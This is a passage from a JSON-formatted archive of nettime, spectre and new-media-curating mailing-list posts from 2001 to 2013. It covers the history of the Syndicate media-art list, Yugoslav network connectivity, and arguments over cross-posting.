Diagrams (draft chapter) Alexander \nGalloway\n*<nettime> unstable digest vol 29 Florian Cramer\n*Re: <nettime> Koerner: Why American teens don't want the new cellphones \nFrancis Hwang\n*<nettime> ur-europanto redivivus: FT on clinton t byfield\n*<nettime> the strange mess of paul's global hip-hop eulogy digest [butt, \ntownsend, mcgee] Paul D. Miller\n*<nettime> Institutionalization of computer protocols (draft chapter) \nAlexander Galloway\n*<nettime> ITU To Propose Intl Cyberspace Treaty at WSIS (fwd) Heiko \nRecktenwald\n*<nettime> united we sms, divided we email digest [sgp, campion] \nnettime's_big_thumb\n*<nettime> EN) Updates for anti-WTO summit protest in Cancun dr.woooo\n*<nettime> Publications [11x] Announcer\n*<nettime> ominous rumbling about global net regulations t byfield\n*<nettime> Oleg Kireev: Review of Hakim Bey-\"Chaos and anarchy\" in Russian \ngeert lovink\n*<nettime> Re: One Day Left m e t a\n*<Possible follow-ups>\n*Re: <nettime> Re: One Day Left Are Flagan\n*<nettime> Re: One Day Left nettime's suv driver\n*<nettime> FW: [CSL]: Jeremy Rifkin: Dazzled by the science David Wood\n*<nettime> smsed we divide digest [recktenwald, easy listener] \nnettime's_free_gateway\n*<nettime> your friendly neighborhood assassin bc\n*Re: <nettime> Institutionalization of computer protocols (draftchapter) \nPhilip Galanter\n*<nettime> Interview with Slavoj Zizek (published in Haaretz) geert lovink\n*<nettime> Interview with Prema Murthy on 'Mythic Hybrid' Diane Ludin\n*<nettime> Bat People on the Moon Still Seem Happy robert m. tynes\n*<nettime> FW: Wildlife killed by conventional farming 'flourishes in GM \nfields' wade tillett\n*<nettime> blinded by science digest [galanter, geer] \nnettime's_natura_naturans\n*<Possible follow-ups>\n*Re: <nettime> blinded by science digest [galanter, geer] Louise Desrenards\n*<nettime> Dotcom Observatory Special: AOL Watch geert lovink\n*<nettime> abroeck: Reseau/Resonance Andreas Broeckmann\n*<nettime> Call for discussion! nettime's_spamkritik\n*<nettime> I don't want to be alone in the 21st century Cornelia Sollfrank\n*<nettime> froomkin: toward a critical theory of cyberspace t byfield\n*<nettime> Could we be tracked by micro RFID tags? (fwd) Heiko Recktenwald\n*<nettime> p.s.: don't forget to water the rhizome! digest [flagan, \nguderian] nettime's_theoretical_potato\n*<Possible follow-ups>\n*Re: <nettime> p.s.: don't forget to water the rhizome! digest [flagan, \nguderian] porculus\n*<nettime> frazzled bio art digest [thacker, crowley] \nnettime's_infernal_machinist\n*<Possible follow-ups>\n*Re: <nettime> frazzled bio art digest [thacker, crowley] Daniel Young\n*Re: <nettime> frazzled bio art digest [thacker, crowley] Benjamin Geer\n*<nettime> Re: RHIZOME_RAW: Re: One Day Left m e t a\n*<Possible follow-ups>\n*Re: <nettime> Re: RHIZOME_RAW: Re: One Day Left Don Cameron\n*<nettime> 'No' to going it alone Ben Moretti\n*<nettime> The Data-Life Theory Timothy Jaeger\n*<nettime> unstable digest vol 30 Florian Cramer\n*<nettime> brother, can you spare a rhizome digest [calin, bowman, hwang] \nnettime's_tin_cup\n*<nettime> warkogram [x2]: wark on lessig on supreme court McKenzie Wark\n*<nettime> rhizome: burn rate t byfield\n*<Possible follow-ups>\n*Re: <nettime> rhizome: burn rate Rachel Greene\n*Re: <nettime> rhizome: burn rate John Hopkins\n*Re: FW: <nettime> rhizome: burn rate Mark Tribe\n*<nettime> on rhizome kevin lahoda\n*<nettime> phone indymedia patch - PIMP dr.woooo\n*<nettime> revenge of the concept Keith Hart\n*<Possible follow-ups>\n*Re: <nettime> revenge of the concept Brian Holmes\n*Re: <nettime> revenge of the concept Keith Hart\n*<nettime> revenge of the concept McKenzie Wark\n*<nettime> Dissent of WTC Architectural Fakery bc\n*<nettime> CALL DOW WEDNESDAY Ray Thomas\n*<nettime> Re: Fw: Your Rhizome.org membership has just expired Raul \nFerrera-Balanquet\n*<nettime> FW: [CC] BREAKING NEWS! AOL PULLS PLUG ON DIGITALCITY- Without \nTelling Any one Else Michael Gurstein\n*<nettime> Bombing Error in Afghanistan Puts a Spotlight on Pilots' Pills \nJ Armitage\n*Re: <nettime> rhizome: burn rate [3x] nettime's cultural investor\n*<nettime> The Spam Jamboree geert lovink\n*<nettime> r h i z o m e digest [alexander, hunsinger, brace] \nnettime's_privatization_authority\n*<nettime> r h i z o m e dgst [x5] nettime's_fickle_customer\n*<nettime> War Economics 101 Are Flagan\n*<nettime> (rooting|routing) rhizome digest [pope, tribe x2, broeckmann] \nnettime's_gardener\n*<nettime> Fwd: sms, pimp, etc dr.woooo\n*<nettime> Why and how pollsters fake Chavez's \"plummeting\" popularity \nCraig Brozefsky\n*<nettime> The Zapatistas to Invade Spain! ricardo dominguez\n*<nettime> who's rhizoming who digest [porculus, byfield, bowman] nettime'\ns_fun_raiser\n*<nettime> Strategic Principles bc\n*<nettime> Publications [14x] Announcer\n*<nettime> [Fwd: Davos WEF, Live Report] patrice\n*<nettime> Fwd: Aesthetic Biology, Biological Art (Rifkin, bioart, science)\n  Eugene Thacker\n*<nettime> Venezuelan Political Soap Opera or why are you so Liberal \nRicardo Bello\n*<nettime> [meta-list] Re:[nettime] the neurosis of being earnest Lachlan \nBrown\n*<nettime> The Internet in Uganda Steve Cisler\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 25 Jan 2003 19:38:04 -0600",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200301260722.h0Q7MuF25735 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00126.html",
                "list": "nettime_l",
                "author_name": "Bruce Sterling",
                "subject": "<nettime> The majordomo panoply of other nettimes"
            },
            {
                "content-type": "n/a",
                "from": "abroeck@transmediale.de",
                "id": "485",
                "content": "This message was created automatically by mail delivery software (Exim).\nA message that you sent could not be delivered to one or more of its\nrecipients. This is a permanent error. \n\n[via anna balint. I thought that it would be fair to offer another aspect of  the story,\nonce Andreas Broecmann and Inke Arns started an international campaign to  discredit\nindividual artists and the syndicate list. is there room at spectre at least  for a more complex\napproach when an artist on whom bombs were falling is infamed? greetings  -a.]\n\nDate: Tue, 13 Nov 2001 20:10:31 +0100\nFrom: Andrej Tisma <aart@EUnet.yu>\nOrganization: Happiness\nSubject: Re: Rise and Decline of the Syndicate\n\nA very touching report on Syndicate history, indeed. But listmasters\nshould have admit some of their faults too, for their full right to\nmention the word ethics.\nSince I am mentioned personally in the report, and I am thankful for\nformer listmasters' understanding for keeping me on Syndicate all the\ntime (unlike Nettime), I want to stress once more: yes I was expressing\nmy anti-Western and anti-NATO attitude, and I am doing it still with the\nsame intensity. But in that very vivid artistic and political engagement\nmy aim was never to defend \"Milosevic regime\" (in the same logic I could\nclaim you defended Clinton's or Schroeder's regime on this list), but\nrather to oppose Western, mostly American neoimperialism,\ninterventionism and globalization, like many progressive Western\nintellectuals do. In that aim I had and still have a great support and\nadmiration by numerous people world-wide, specially on the West. Even\nnow when \"Milosevic regime\" doesn't exist, you might remark that my\nactivities didn't stop or change, and that they are maybe even growing.\nAlso the support for my engagement and art is growing, and with time and\nnew Western violent, arrogant and inhuman activities the statements I\nwas publishing on the list seam to get more proofs.\nThis is what I wanted to say. And about reasons of Syndicate's \"decline\"\nyou should also ask yourselves, if it was right to leave the list in the\nmost difficult and sensitive moment, or you just felt that your\nmastering is under reasonable questioning, which you couldn't endure.\nRegards,\nAndrej\nArns/Broeckmann wrote:\n> The case of Andrej Tisma, a\n> Yugoslav artist from multi-cultural Novi Sad and a defender of the\n> Milosevic regime throughout the late 90s, is a case in point: many\n> perceived his tirades against the West and against NATO as pure Serbian\n> propaganda which became unbearable at some point. Later, Tisma came back to\n> the list and continued his criticisms by posting links to anti-NATO web\n> pages he had created. For us, he was always an interesting sign post of\n> Serb nationalist ideology which it was good to be aware of. And it was good\n> that he showed that people can be artists 'like you and me', and be Serb\n> nationalists at the same time. The Syndicate could handle his presence\n> after he agreed to tune down his rants.\n--\nANDREJ TISMA is Novi Sad (Yugoslavia) based artist, art critic and\ncurator. Since the early '70s mail-artist and networker. Founder of\nThe Institute for the Spreading of Love (1991) and Embargo Art\ncampaign (1992). Since 1997 web.artist and activist.\nHOMEPAGE: http://aaart.tripod.com/\n>\n>\n\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000485.html",
                "message-id": "485",
                "date": "Thu, 15 Nov 2001 17:17:31 +0100",
                "list": "spectre",
                "author_name": "Andreas Broeckmann",
                "subject": "[spectre] re: Arns/Broeckmann"
            },
            {
                "content-type": "text/plain",
                "from": "bronac ferran",
                "content": "\n\n\nI think I agree with Armin, but even further reinforced by seeing an\nintriguing new film at the AND Festival yesterday in Liverpool made by\nAleksanda  Domanovic which is called From Yu to Me, and addresses the\nactual making/building of an internet connection in the former Yugoslavia\nbefore the yu domain was created in 1989 largely to do with the efforts of\ntwo female scientists, Borka Jerman Blasik and  Mirjana Tasic whose\nprofound testimony of under the radar academic moving and shaking was\nmirrored both in the film and in person in Liverpool yesterday.  Great\nprivilege to hear them speak. They came across as relatively lacking in\nvanity about establishing some place in art or otherwise history ...\n\n\nhttp://www.andfestival.org.uk/events/from-yu-to-me/\n\nI think the film is going to be online at some stage soon, Aleksandra is\nstill working on it. It has been commissioned by AND with Fridericianum\nand Rhizome.\n\nmaybe just my own perception there is a sort of 'let me show you my vinyl\nrecord collection' tone emerging here...like the recently dead brought\ngratefully back to life in a muted form, inevitably seems to be missing\nsomehow\nthe pain of the punctuating flame.\n\nhalf seriously\nB\n\nOn Sunday, 6 October 2013, Armin Medosch wrote:\n\n> Hi Charlotte,\n>\n> while it is surely interesting to recall individual posts I think it is\n> also importatt to point out that many of those posting could only do so\n> because they had access to the net and that in itself was nothing to be\n> taken for granted. A great role in that respect plaid Zamir net which\n> started in 1992 and which connected peace activists in former Yugoslavian\n> states ... there is a wikipedia entry about it\n> http://en.wikipedia.org/wiki/**ZaMirNET<http://en.wikipedia.org/wiki/ZaMirNET>\n>\n> Another, less well known story is how Serbian hackers ensured email\n> connectivity for civil society at a time when Serbia was under\n> international embargo and didn't even have a domain name.\n>\n> As I have tried to point out in the past, without much success, the\n> material layer of networking also matters. Arts and humanities scholars\n> have a tendency to ascribe too much importance to what you could call the\n> semantic and symbolic layer. No email from Serbia would have found its way\n> to the syndicate list withoute having a route to travel on. Those routes\n> are provided by people who also have cultural and political ideas, so that\n> those human-technical assemblages also have meaning, if you so want,\n> something that should also be considered, hwever, without tipping over into\n> a one-sided materialism\n>\n> a\n>\n>\n> On 10/06/2013 12:40 PM, Charlotte Frost wrote:\n>\n>> So far we've had little mention of the Syndicate list, which was\n>> extensively\n>> chronicled in a post to Nettime in 2001 by founding members Inke Arns and\n>> Andreas Broeckmann:\n>> http://www.nettime.org/Lists-**Archives/nettime-l-0111/**msg00077.html<http://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html>\n>> .\n>>\n>> One of the things that I believe was so important to this list at the time\n>> (and perhaps even more so with some historical perspective) was the voice\n>> it\n>> gave people of the former Yugoslavia during its civil war. It's common\n>> place\n>> now to talk about how platforms like Twitter break through political\n>> censorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list like\n>> the Syndicate, such freedom of speech could be both a benefit and a\n>> detractor, as Arns and Broeckmann note. I'd love to know if anyone\n>> involved\n>> with the list at this time would like to recall individual posts that\n>> illustrate this difficult period.\n>>\n>> And also more generally if anyone would venture an account of their\n>> relationship with the Syndicate \u00ad what collaboration its led to,  and what\n>> it was like to lose it \u00ad especially in light of the comments we've already\n>> had about how much of loss the Rhizome Raw list was.\n>>\n>> Inke and Andreas, I've BCC'd you in case you have time to offer anything\n>> to\n>> this discussion on Media Art Curating \u00ad I can forward your responses if\n>> you\n>> are not current subscribers/are pushed for time. You'll find more on this\n>> month's discussions here:\n>> https://www.jiscmail.ac.uk/**cgi-bin/webadmin?A0=new-media-**curating<https://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating>\n>>\n>> All the best,\n>>\n>> Charlotte\n>>\n>>\n\n-- \nBrona\u010b",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=54807",
                "follow-up": [
                    {
                        "from": "Charlotte Frost",
                        "content": "\nYes Armin, thank you for that important new materialist point. In my own\nwork I have been trying to think through the materiality of art historical\npractice. Not the artworks, but the objects art historians use and produce\nin their own work. It troubles me greatly that art historical work is seen\nas somehow beyond a media criticism of it's own (for example, you can't\nhave art history without photographs and the means of taking them and\ndistributing them). So this more tangible physical network has been on my\nmind but you put it so much more eloquently. And now to have Broanc\nconnect this to a film is really very useful.\n\n\n\nOn 06/10/2013 19:43, \"bronac ferran\" <[log in to unmask]> wrote:\n\n> I think I agree with Armin, but even further reinforced by seeing an\n>intriguing new film at the AND Festival yesterday in Liverpool made by\n>Aleksanda  Domanovic which is called From Yu to Me, and addresses the\n>actual making/building of an internet connection in the former Yugoslavia\n>before the yu domain was created in 1989 largely to do with the efforts of\n>two female scientists, Borka Jerman Blasik and  Mirjana Tasic whose\n>profound testimony of under the radar academic moving and shaking was\n>mirrored both in the film and in person in Liverpool yesterday.  Great\n>privilege to hear them speak. They came across as relatively lacking in\n>vanity about establishing some place in art or otherwise history ...\n> http://www.andfestival.org.uk/events/from-yu-to-me/\n>\n>I think the film is going to be online at some stage soon, Aleksandra is\n>still working on it. It has been commissioned by AND with Fridericianum\n>and Rhizome.\n>\n>maybe just my own perception there is a sort of 'let me show you my vinyl\n>record collection' tone emerging here...like the recently dead brought\n>gratefully back to life in a muted form, inevitably seems to be missing\n>somehow\n>the pain of the punctuating flame.\n>\n>half seriously\n>B\n>\n>On Sunday, 6 October 2013, Armin Medosch wrote:\n>\n>> Hi Charlotte,\n>>\n>> while it is surely interesting to recall individual posts I think it is\n>> also importatt to point out that many of those posting could only do so\n>> because they had access to the net and that in itself was nothing to be\n>> taken for granted. A great role in that respect plaid Zamir net which\n>> started in 1992 and which connected peace activists in former\n>>Yugoslavian\n>> states ... there is a wikipedia entry about it\n>> \n>>http://en.wikipedia.org/wiki/**ZaMirNET<http://en.wikipedia.org/wiki/ZaMi\n>>rNET>\n>>\n>> Another, less well known story is how Serbian hackers ensured email\n>> connectivity for civil society at a time when Serbia was under\n>> international embargo and didn't even have a domain name.\n>>\n>> As I have tried to point out in the past, without much success, the\n>> material layer of networking also matters. Arts and humanities scholars\n>> have a tendency to ascribe too much importance to what you could call\n>>the\n>> semantic and symbolic layer. No email from Serbia would have found its\n>>way\n>> to the syndicate list withoute having a route to travel on. Those routes\n>> are provided by people who also have cultural and political ideas, so\n>>that\n>> those human-technical assemblages also have meaning, if you so want,\n>> something that should also be considered, hwever, without tipping over\n>>into\n>> a one-sided materialism\n>>\n>> a\n>>\n>>\n>> On 10/06/2013 12:40 PM, Charlotte Frost wrote:\n>>\n>>> So far we've had little mention of the Syndicate list, which was\n>>> extensively\n>>> chronicled in a post to Nettime in 2001 by founding members Inke Arns\n>>>and\n>>> Andreas Broeckmann:\n>>> \n>>>http://www.nettime.org/Lists-**Archives/nettime-l-0111/**msg00077.html<h\n>>>ttp://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html>\n>>> .\n>>>\n>>> One of the things that I believe was so important to this list at the\n>>>time\n>>> (and perhaps even more so with some historical perspective) was the\n>>>voice\n>>> it\n>>> gave people of the former Yugoslavia during its civil war. It's common\n>>> place\n>>> now to talk about how platforms like Twitter break through political\n>>> censorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list\n>>>like\n>>> the Syndicate, such freedom of speech could be both a benefit and a\n>>> detractor, as Arns and Broeckmann note. I'd love to know if anyone\n>>> involved\n>>> with the list at this time would like to recall individual posts that\n>>> illustrate this difficult period.\n>>>\n>>> And also more generally if anyone would venture an account of their\n>>> relationship with the Syndicate \u00ad what collaboration its led to,  and\n>>>what\n>>> it was like to lose it \u00ad especially in light of the comments we've\n>>>already\n>>> had about how much of loss the Rhizome Raw list was.\n>>>\n>>> Inke and Andreas, I've BCC'd you in case you have time to offer\n>>>anything\n>>> to\n>>> this discussion on Media Art Curating \u00ad I can forward your responses if\n>>> you\n>>> are not current subscribers/are pushed for time. You'll find more on\n>>>this\n>>> month's discussions here:\n>>> \n>>>https://www.jiscmail.ac.uk/**cgi-bin/webadmin?A0=new-media-**curating<ht\n>>>tps://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating>\n>>>\n>>> All the best,\n>>>\n>>> Charlotte\n>>>\n>>>\n>\n>-- \n>Brona\u010b",
                        "id": 0,
                        "date": "Tue, 8 Oct 2013 11:54:30 +0800",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=87914",
                        "content-type": "text/plain",
                        "author_name": "Charlotte Frost",
                        "subject": "Re: The Syndicate - building a history"
                    },
                    {
                        "content-type": "text/plain",
                        "from": "Charlotte Frost",
                        "content": "\nSo far we've had little mention of the Syndicate list, which was extensively\nchronicled in a post to Nettime in 2001 by founding members Inke Arns and\nAndreas Broeckmann:\nhttp://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html.\n\nOne of the things that I believe was so important to this list at the time\n(and perhaps even more so with some historical perspective) was the voice it\ngave people of the former Yugoslavia during its civil war. It's common place\nnow to talk about how platforms like Twitter break through political\ncensorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list like\nthe Syndicate, such freedom of speech could be both a benefit and a\ndetractor, as Arns and Broeckmann note. I'd love to know if anyone involved\nwith the list at this time would like to recall individual posts that\nillustrate this difficult period.\n\nAnd also more generally if anyone would venture an account of their\nrelationship with the Syndicate \u00ad what collaboration its led to,  and what\nit was like to lose it \u00ad especially in light of the comments we've already\nhad about how much of loss the Rhizome Raw list was.\n\nInke and Andreas, I've BCC'd you in case you have time to offer anything to\nthis discussion on Media Art Curating \u00ad I can forward your responses if you\nare not current subscribers/are pushed for time. You'll find more on this\nmonth's discussions here:\nhttps://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating\n\nAll the best,\n\nCharlotte ",
                        "id": 0,
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=49714",
                        "date": "Sun, 6 Oct 2013 18:40:48 +0800",
                        "list": "crumb",
                        "author_name": "Charlotte Frost",
                        "subject": "The Syndicate - building a history of lists"
                    },
                    {
                        "from": "Armin Medosch",
                        "content": "\nHi Charlotte,\n\nwhile it is surely interesting to recall individual posts I think it is \nalso importatt to point out that many of those posting could only do so \nbecause they had access to the net and that in itself was nothing to be \ntaken for granted. A great role in that respect plaid Zamir net which \nstarted in 1992 and which connected peace activists in former \nYugoslavian states ... there is a wikipedia entry about it \nhttp://en.wikipedia.org/wiki/ZaMirNET\n\nAnother, less well known story is how Serbian hackers ensured email \nconnectivity for civil society at a time when Serbia was under \ninternational embargo and didn't even have a domain name.\n\nAs I have tried to point out in the past, without much success, the \nmaterial layer of networking also matters. Arts and humanities scholars \nhave a tendency to ascribe too much importance to what you could call \nthe semantic and symbolic layer. No email from Serbia would have found \nits way to the syndicate list withoute having a route to travel on. \nThose routes are provided by people who also have cultural and political \nideas, so that those human-technical assemblages also have meaning, if \nyou so want, something that should also be considered, hwever, without \ntipping over into a one-sided materialism\n\nall best\nArmin\n\n\nOn 10/06/2013 12:40 PM, Charlotte Frost wrote:\n> So far we've had little mention of the Syndicate list, which was extensively\n> chronicled in a post to Nettime in 2001 by founding members Inke Arns and\n> Andreas Broeckmann:\n> http://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html.\n>\n> One of the things that I believe was so important to this list at the time\n> (and perhaps even more so with some historical perspective) was the voice it\n> gave people of the former Yugoslavia during its civil war. It's common place\n> now to talk about how platforms like Twitter break through political\n> censorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list like\n> the Syndicate, such freedom of speech could be both a benefit and a\n> detractor, as Arns and Broeckmann note. I'd love to know if anyone involved\n> with the list at this time would like to recall individual posts that\n> illustrate this difficult period.\n>\n> And also more generally if anyone would venture an account of their\n> relationship with the Syndicate \u00ad what collaboration its led to,  and what\n> it was like to lose it \u00ad especially in light of the comments we've already\n> had about how much of loss the Rhizome Raw list was.\n>\n> Inke and Andreas, I've BCC'd you in case you have time to offer anything to\n> this discussion on Media Art Curating \u00ad I can forward your responses if you\n> are not current subscribers/are pushed for time. You'll find more on this\n> month's discussions here:\n> https://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating\n>\n> All the best,\n>\n> Charlotte\n>",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 13:05:44 +0200",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=51256",
                        "content-type": "text/plain",
                        "author_name": "Armin Medosch",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "mez breeze",
                        "content": "\nForwarding some individual posting from Syndicate [not those illustrating\npolitical relations, or any subversive channels, but more those that\ndescribe internal turmoil(s) within the list itself]:\n\n1.\n--\n\nFrom: \"self re:ply.cator\" <[log in to unmask]>\nSubject: Re: [syndicate] Re: Yes, but is it art?\n\nAt 03:45 PM 3/10/2002 +0100, f wrote:\n\nof course, everybody knows that I am an advocate of list disruption, the\ndifference is that I think that ultimately this should be beneficial to the\nlist and not to the disrupter alone.\n\n\nfred,\n\ni'm curious as 2 how u distinguish the difference? firstly, i'd lurve u 2\nd.fine _beneficial_ in terms of how it affects list cohesion & function, &\nhow this individualisation of subscriber identification can operate along\nthis benefit-deficit scale? also how this affects the pulse communication\nfunction that most list labor under.........?\n\nthe huge difference is the cross posting\ncross posting is the bane of mailing lists\n\n\ny, fred? u seem 2 b aligning yr perception with.in a niche that advocates\nmembers of  various mailing lists live under the i][a][ll.usion that the\nnet.work perpetuates this insularism, that every1 who is n.terested in\nb.ing subbed 2 various mailing lists x.ist in a mono-data-directed vaccum\nthat can only cope with _1_ manifest x.posure to information.......that\nthose who r only n.terested in connecting 2 1 nodepoint, via _1_ list\nforum, do not have the right 2 b x.posed 2 data b.cause of the\n_n.con][ned][venience this wood cause 2 those more -connected_ via multiple\nnodes........r u really n.terested in promoting x.clusion & data closure\nb.cause of this top-down hierarchical slant in terms of network function?\n\n\n\ni. am. stained. with. repetition.\n[re.peat]\n::the chip.mark of the net.\n::][kulture][work::abbreviated strokes::sampling::a][scii][graffiti::code\nlangues::bass.house::jung][le][mantras\n.all .][t][h][r][ive .in .he][a][re.....\n\n\n\nwhy are there different mailing lists ?\nwith (hopefully) different subscribers, different topics, different\nfunctionalities, different roots and different histories ?\n\n\n\nah, the hub.                   d i f f e r e n c e   [n.sert perpetual loop]\n\nn.deed, y r there? this _difference_ is telling........instead of operating\nvia this divergent take, i c the net.work as a _whole_, operational in\nterms of infosharing & dispersal........\n\nthis difference, this reliance on the in box as a box, not as a\n][link][node........\n\nHISTORIES!!!!!!!!!!!!!!???????????????????????\n\nf, surely u jest here, histories????\nhistory doesn't x.ist, it is a fiction @ best........\n\ncross posting can never be justified\n\n\nf, _u think|perceive this_. this is not a statement of fact [or\n|||||||||||||||history|||||||||||].\n\nbecause it nullifies the very nature of each mailing list, because it\nspecifically adresses none of them.\n\n\ni c it as _ratifiying_ the nature of mailing lists.......n][et][ature as\nd.fined by connexion, communicative points in an x.tendible net of flow &\nflux......do u want 2 x.clude those not so ego-n.trenched in this\nnet.baggage? if _xXx_ is subbed to syndicate but not 2 _reader-list_, and\ninfo is not cross-posted due to x.clusionary individualisation via blanket\nwithdrawal of crucial info due 2 justifications such as u yr espousing, do\nu c that _xXx_ is then x.cluded from x.posure 2 info _from which_ they can\nthen choose 2 x.pose themselves 2?\n\n[filters. r. yr|the. x.clusionists. friend.]\n\n\ntherefore it turns the attention on the cross poster only (having discarded\nany and every notion of communality) and it becomes obvious that the cross\nposter is only willing to momentarily confiscate the _numbers and that is\nwhat I find terribly abusive.\n\n\noh f,\n\ndo u c that yr perception here is crucial 2 the formation of yr point\nabove? do u c that u think that cross-posting hi-lights the ego-definition\nof the poster in such a way that their characteristics are etched all over\nthe forum?\n\ni. offer. a different. view.\n\nthese numbers that u assume r being overwritten [due 2\nnon-responsivity|lurking b.haviour etc], this community that is b.ing [in\nyr view] blanked out due 2 the nature of x.tended information x.posure is\nd.fined by wot x.actly? wot makes up the community here, in this net.worked\narea? is it repetition of dialogical conventions? participation via\nmanifest post activity? access 2 information? access 2 communication via\nother enitiy participation? wot?\n\n\nnot that it bothers me that much beyond the fact that I find it either\nwillingly manipulative or lacking in reflexion about networking indeed\n\n\nit bothers me greatly that u'd offer these opinions & not firstly c that\nthey r in fact _drenched with yr individualistic-ego driven spin_...as r my\nopinions....wot matters here 4 me is that this _community_ of mailing lists\n[in my case, network connectors] r being bandied around as cohesive\nstructures in which individuals autonomously activate data _without_ any\nnuanced understanding of the mechanisms via which these communities\nact\\interactive\\x.ist.......\n\nu need 2 x.plain the community function 2 me, within the confines of a\nmailing list forum.\n\n[pre.tend - or ack.no.ledge- i. am. an. idiot.]\n\n\n\n~ a signature\n\n\ncomme toujours\n\n\nwell, peut etre, but it seems that _everything must be explained\n(gosh!)\n\n\nabsolutely. if u start a multilogue like this f, b prepared 2\nx.plain|n.gage in multilogues. it is 4 the good of the _community_ after\nall.....;)\n\nx.tendibly,\nmez\n\n\n.           .    ....         .....\n\n\nnet.wurker][mez][\n[trans. loose. (e)NT][ity][]\n[sel][l][f  reply.cation]\n\n{\n\nwww.cddc.vt.edu/host/netwurker/\n\n\nwww.hotkey.net.au/~netwurker\n.... .               .???  .......\n\n--\n\n\n\n\n\n\nOn Sun, Oct 6, 2013 at 9:40 PM, Charlotte Frost <[log in to unmask]\n> wrote:\n\n> So far we've had little mention of the Syndicate list, which was\n> extensively\n> chronicled in a post to Nettime in 2001 by founding members Inke Arns and\n> Andreas Broeckmann:\n> http://www.nettime.org/Lists-Archives/nettime-l-0111/msg00077.html.\n>\n> One of the things that I believe was so important to this list at the time\n> (and perhaps even more so with some historical perspective) was the voice\n> it\n> gave people of the former Yugoslavia during its civil war. It's common\n> place\n> now to talk about how platforms like Twitter break through political\n> censorship \u00ad Iran and Egypt are good recent examples \u00ad but on a list like\n> the Syndicate, such freedom of speech could be both a benefit and a\n> detractor, as Arns and Broeckmann note. I'd love to know if anyone involved\n> with the list at this time would like to recall individual posts that\n> illustrate this difficult period.\n>\n> And also more generally if anyone would venture an account of their\n> relationship with the Syndicate \u00ad what collaboration its led to,  and what\n> it was like to lose it \u00ad especially in light of the comments we've already\n> had about how much of loss the Rhizome Raw list was.\n>\n> Inke and Andreas, I've BCC'd you in case you have time to offer anything to\n> this discussion on Media Art Curating \u00ad I can forward your responses if you\n> are not current subscribers/are pushed for time. You'll find more on this\n> month's discussions here:\n> https://www.jiscmail.ac.uk/cgi-bin/webadmin?A0=new-media-curating\n>\n> All the best,\n>\n> Charlotte\n>\n\n\n\n-- \n| facebook.com/MezBreezeDesign <http://www.facebook.com/MezBreezeDesign>\n| twitter.com/MezBreezeDesign\n| en.wikipedia.org/wiki/Mez_Breeze",
                        "id": 0,
                        "date": "Sun, 6 Oct 2013 22:17:13 +1100",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1310&L=new-media-curating&F=&S=&P=51929",
                        "content-type": "text/plain",
                        "author_name": "mez breeze",
                        "subject": "Re: The Syndicate - building a history of lists"
                    },
                    {
                        "from": "mez breeze",
                        "content": "\n2.\n--\n\nTo: syndicate\nFrom: \"self re:ply.cator\" <[log in to unmask]>\nSubject: Re: [syndicate] Re: Yes, but is it art?\n\n\nAt 01:40 PM 3/11/2002 -0800, m wrote:\n\n>> >>why are there different mailing lists ?\n>> >n.deed, y r there? this _difference_ is telling........instead of\n>> operating via this divergent take, i c the net.work as a _whole_,\n>> operational in terms of infosharing & dispersal........\n>>\n\nto take this reasoning further you should hire a bulk email company and spam\nthe whole world. seriously. has any artist ever done this?\n\n\nnot 2 my know.ledge......[doesn't mean it hasn't been done, though;)]\n\njust b.cause i perceive the net.work as a whole, a tapestry of\npotentialities of defor][com][m][unic][ation doesn't mean i advocate [or\ncarry out] _blanket spamming_ activity.....this sys.t][n][e][t][m displays\nn.tricate s][ilicon][ymbiotic tendencies which shift & pulse data via\nn.finite variations...just as i don't c a mailing lists such as syndicate\nas static or x.clusively filled with a group of n.tities that r\nnon-changing & there4 r all hyperaware of how the forum ][can][\nfunction][s][, i don't perceive mailing list as non-communal in scope or\n][wo][manifestation.........\n\nmy. p][ercept][atterning. is. reticular.\n\n\nof course there\nwould be serious repurcusions which may mean it is better for a non-entity?\n\n\ni'm not sure.......\n\nlike nn to do this. the possibilities are amusing to think about. or do you\nsee your message as being more focused than this which would mean you\nconcede to heirarchical data nodes?\n\n\nnot sure if i c _my message_ [& by this i take u 2 mean the fluttering\ncode.symbology i use in my mezangelled wurks] as focused, but more\nflu][idic][vial.....do u c this as perpetuating hierarchical data methods?\n\nmim.e.t][h][ically,\nmez\n\n\n\n.           .    ....         .....\n\n\nnet.wurker][mez][\n[trans. loose. (e)NT][ity][]\n[sel][l][f  reply.cation]\n\n{\n\nwww.cddc.vt.edu/host/netwurker/\n\n\nwww.hotkey.net.au/~netwurker\n.... .               .???  .......\n\n\n\n\n\nOn Sun, Oct 6, 2013 at 9:40 PM, Charlotte Frost <[log in to unmask]\n> wrote:\n\n> So far we've had little mention of the Syndicate list, which was\n> extensively\n> chronicled in a post to Nettime in 2001 by founding members Inke Arns and\n> Andreas 